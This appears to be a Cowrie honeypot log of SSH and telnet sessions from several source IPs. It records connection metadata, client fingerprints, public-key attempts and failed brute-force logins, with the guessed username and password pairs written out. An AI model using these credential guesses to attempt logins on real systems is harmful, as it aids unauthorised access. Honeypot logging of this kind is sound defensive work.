{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:63:49:db:99:95:4d:39:42:92:e2:3b:59:8a:d5:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvBFkCWkXhqjIpcan/y93FHPhvyjy0QY0TrhH95Bx1saDdv5CwMbXG/ZafzZrbdVTTpXVXqYc499ICo4PukSIsib+SIjtGuWdGWS/3AniDUqxAXAMQGLizcI6W6j6pn8QKQcHnBDoZnXZnf02rKhca3dqrbrRfIw/QRTenvNty5FW8ocKAWzGyuPcYTkwwXyQy1+vEOni8/HxWL8DjKIIayTEyPZkFE/PCzTYC4toJfkvodg2X3UKxxcwKXGBaLfj6eKwEGWFGCBoJ/KwktRN82UNWeyteGGW3kwBD/qbytHCB2vgishUBU5cqi6SHzsgCiWn2tTFlVIoux2EdcEcp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:63:49:db:99:95:4d:39:42:92:e2:3b:59:8a:d5:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.904803Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:63:49:db:99:95:4d:39:42:92:e2:3b:59:8a:d5:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvBFkCWkXhqjIpcan/y93FHPhvyjy0QY0TrhH95Bx1saDdv5CwMbXG/ZafzZrbdVTTpXVXqYc499ICo4PukSIsib+SIjtGuWdGWS/3AniDUqxAXAMQGLizcI6W6j6pn8QKQcHnBDoZnXZnf02rKhca3dqrbrRfIw/QRTenvNty5FW8ocKAWzGyuPcYTkwwXyQy1+vEOni8/HxWL8DjKIIayTEyPZkFE/PCzTYC4toJfkvodg2X3UKxxcwKXGBaLfj6eKwEGWFGCBoJ/KwktRN82UNWeyteGGW3kwBD/qbytHCB2vgishUBU5cqi6SHzsgCiWn2tTFlVIoux2EdcEcp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.908552Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:dd:6f:ce:40:93:d8:33:dc:67:d7:5b:e0:13:ac:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPYyv0mOgRtpUBhMxt8InkFGC1LFgEukF72LfjOiVcyfTbxQYRSPBLwc8zgFBVShYDVcS7TwKuKiydbm3GvPRSIRDd9g4dDKR7E8gmzhkFC7dBwi26c6hmHTFNIkUZFXncd0vqa6tRqSKUMVYNevyn85zQXfwiYsQK0DoJzz1QGC1nqmOtg56sf1xJ28UNWTdbytt+xrB1EI8IdNpMx1J7MocP5sET717uAeJ1WAehoOjeNcehxhrb4D/wpBnyYxRjhhQsfsFWkfZUwIkn2hcPtPMTHKjFSHkZwkEokZfX6n2gTrzogiKlqiMs++3ALcf2yM0OgQN0w/X0xazMvquT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:dd:6f:ce:40:93:d8:33:dc:67:d7:5b:e0:13:ac:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.979574Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:dd:6f:ce:40:93:d8:33:dc:67:d7:5b:e0:13:ac:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPYyv0mOgRtpUBhMxt8InkFGC1LFgEukF72LfjOiVcyfTbxQYRSPBLwc8zgFBVShYDVcS7TwKuKiydbm3GvPRSIRDd9g4dDKR7E8gmzhkFC7dBwi26c6hmHTFNIkUZFXncd0vqa6tRqSKUMVYNevyn85zQXfwiYsQK0DoJzz1QGC1nqmOtg56sf1xJ28UNWTdbytt+xrB1EI8IdNpMx1J7MocP5sET717uAeJ1WAehoOjeNcehxhrb4D/wpBnyYxRjhhQsfsFWkfZUwIkn2hcPtPMTHKjFSHkZwkEokZfX6n2gTrzogiKlqiMs++3ALcf2yM0OgQN0w/X0xazMvquT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:51.983143Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:d5:a0:7b:44:fc:db:31:a0:5c:17:66:f4:76:42:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3NGq6ACZMRmrI4OLvXNSmj8Rvo2HigOas2KZyyzN2YO4NUgPaP/LpBSdNH9dgY8X0PXnJ3aHxAOnLkn6m8huND7wBY+N2mmm12Y6iCjOBVUewd6QAUEXIBMkdQc62IitQh10jT41orTH61HfkVF1Ds0XISCXYTzVJZvFpe0A0FkxecVQOSMtM2XVgjdAZL1ulBo9S/pc//4qhW5tW3hYOG3fEg8/Eqyg5rETBkVYC7dDY6+eAvdxFGVSq91ZRR6nIkHSNQmaYjC4Zhy0tu9oO9xT3WqgYskU5UzkV3A7yRMj4dl/1Gxoh4j25dQb2HrtDk1eGmvGgzqrk8B1FpyH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:d5:a0:7b:44:fc:db:31:a0:5c:17:66:f4:76:42:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:52.057016Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:d5:a0:7b:44:fc:db:31:a0:5c:17:66:f4:76:42:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3NGq6ACZMRmrI4OLvXNSmj8Rvo2HigOas2KZyyzN2YO4NUgPaP/LpBSdNH9dgY8X0PXnJ3aHxAOnLkn6m8huND7wBY+N2mmm12Y6iCjOBVUewd6QAUEXIBMkdQc62IitQh10jT41orTH61HfkVF1Ds0XISCXYTzVJZvFpe0A0FkxecVQOSMtM2XVgjdAZL1ulBo9S/pc//4qhW5tW3hYOG3fEg8/Eqyg5rETBkVYC7dDY6+eAvdxFGVSq91ZRR6nIkHSNQmaYjC4Zhy0tu9oO9xT3WqgYskU5UzkV3A7yRMj4dl/1Gxoh4j25dQb2HrtDk1eGmvGgzqrk8B1FpyH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:52.060826Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:52.134007Z","src_ip":"198.199.106.159","session":"c628381b1c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00195336341858,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:41:52.564297Z","src_ip":"23.94.28.189","session":"ab0e05ead68b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80c64d63a01","protocol":"ssh","message":"New connection: 103.172.78.219:55592 (10.17.0.5:22) [session: c80c64d63a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:42:09.588795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:42:09.593311Z","src_ip":"103.172.78.219","session":"c80c64d63a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:42:09.849688Z","src_ip":"103.172.78.219","session":"c80c64d63a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:42:10.617935Z","src_ip":"103.172.78.219","session":"c80c64d63a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:42:11.877472Z","src_ip":"103.172.78.219","session":"c80c64d63a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02575516700745,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:05.848289Z","src_ip":"201.69.13.125","session":"a31c4e05a0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.69.13.125","src_port":38151,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c1bb4da088","protocol":"telnet","message":"New connection: 201.69.13.125:38151 (159.203.135.109:23) [session: 34c1bb4da088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:06.195690Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":35962,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb9c720a19b4","protocol":"ssh","message":"New connection: 46.19.67.181:35962 (159.203.135.109:22) [session: eb9c720a19b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:07.472558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:07.477306Z","src_ip":"46.19.67.181","session":"eb9c720a19b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:07.592821Z","src_ip":"46.19.67.181","session":"eb9c720a19b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krolik","message":"login attempt [root/krolik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:07.939604Z","src_ip":"46.19.67.181","session":"eb9c720a19b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:43:09.056935Z","src_ip":"46.19.67.181","session":"eb9c720a19b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"600cc3e4bda1","protocol":"ssh","message":"New connection: 147.45.197.250:46678 (159.203.135.109:22) [session: 600cc3e4bda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:44:22.358240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:44:22.363122Z","src_ip":"147.45.197.250","session":"600cc3e4bda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:44:22.457554Z","src_ip":"147.45.197.250","session":"600cc3e4bda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola81","message":"login attempt [root/kola81] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:44:22.741818Z","src_ip":"147.45.197.250","session":"600cc3e4bda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:44:23.839999Z","src_ip":"147.45.197.250","session":"600cc3e4bda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01377415657043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:06.209344Z","src_ip":"201.69.13.125","session":"34c1bb4da088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d22f54cd377b","protocol":"ssh","message":"New connection: 193.228.128.84:36748 (10.17.0.5:22) [session: d22f54cd377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:22.925778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:22.931175Z","src_ip":"193.228.128.84","session":"d22f54cd377b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:23.061834Z","src_ip":"193.228.128.84","session":"d22f54cd377b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vikavika","message":"login attempt [root/vikavika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:23.367716Z","src_ip":"193.228.128.84","session":"d22f54cd377b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.11.116.73","src_port":55886,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddc03b65955e","protocol":"ssh","message":"New connection: 121.11.116.73:55886 (159.203.135.109:22) [session: ddc03b65955e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:24.004296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:24.008719Z","src_ip":"121.11.116.73","session":"ddc03b65955e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:24.245668Z","src_ip":"121.11.116.73","session":"ddc03b65955e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:24.472124Z","src_ip":"193.228.128.84","session":"d22f54cd377b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX3edc","message":"login attempt [root/!QAZ@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:25.213648Z","src_ip":"121.11.116.73","session":"ddc03b65955e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:45:26.448733Z","src_ip":"121.11.116.73","session":"ddc03b65955e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.2.49.125","src_port":55910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e019428b1b","protocol":"ssh","message":"New connection: 117.2.49.125:55910 (159.203.135.109:22) [session: c4e019428b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:46:40.861929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:46:40.865932Z","src_ip":"117.2.49.125","session":"c4e019428b1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:46:41.141671Z","src_ip":"117.2.49.125","session":"c4e019428b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:46:42.248954Z","src_ip":"117.2.49.125","session":"c4e019428b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:46:43.521585Z","src_ip":"117.2.49.125","session":"c4e019428b1b","protocol":"ssh"}
